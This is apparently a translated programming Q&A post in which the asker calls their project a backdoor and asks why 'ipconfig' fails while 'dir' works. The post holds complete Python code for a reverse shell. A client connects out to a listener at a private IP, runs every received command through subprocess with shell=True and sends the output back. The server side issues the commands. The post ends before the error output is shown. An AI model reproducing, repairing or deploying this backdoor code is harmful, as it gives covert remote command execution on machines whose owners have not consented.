python - 子进程索引错误：Ipconfig 损坏但目录工作？

Question

尝试使用子进程模块运行后门。运行 ipconfig 命令时出现索引错误，但 dir 命令运行良好，详情如下，有什么想法吗？

服务器

import socket

class Server:
    def __init__(self, host, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind((host, port))
        sock.listen(0)
        (self.connection, self.address) = sock.accept()
        print(f"New connection from --> {self.address[0]}")

    def command_execution(self, command_input):
        self.connection.send(command_input)
        return self.connection.recv(2048).decode()


    def start(self):
        while True:
            command_input = input(">> ")
            data = self.command_execution(command_input.encode())
            print(data)

listener_one = Server("192.168.1.46", 8080)
listener_one.start()

客户

import socket
import subprocess


class Client:
    def __init__(self, host, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((host, port))

    def command_execution(self, command):
        return subprocess.check_output(command, shell=True)

    def start(self):
        while True:
            command = self.connection.recv(2048)
            command_output = self.command_execution(command.decode())
            self.connection.send(command_output.encode())


client_one = Client("192.168.1.46", 8080)
client_one.start()

Input on client --> python3 my_server.py
New connection from --> 192.168.1.38
>> ipconfig

服务器上的输出 -->
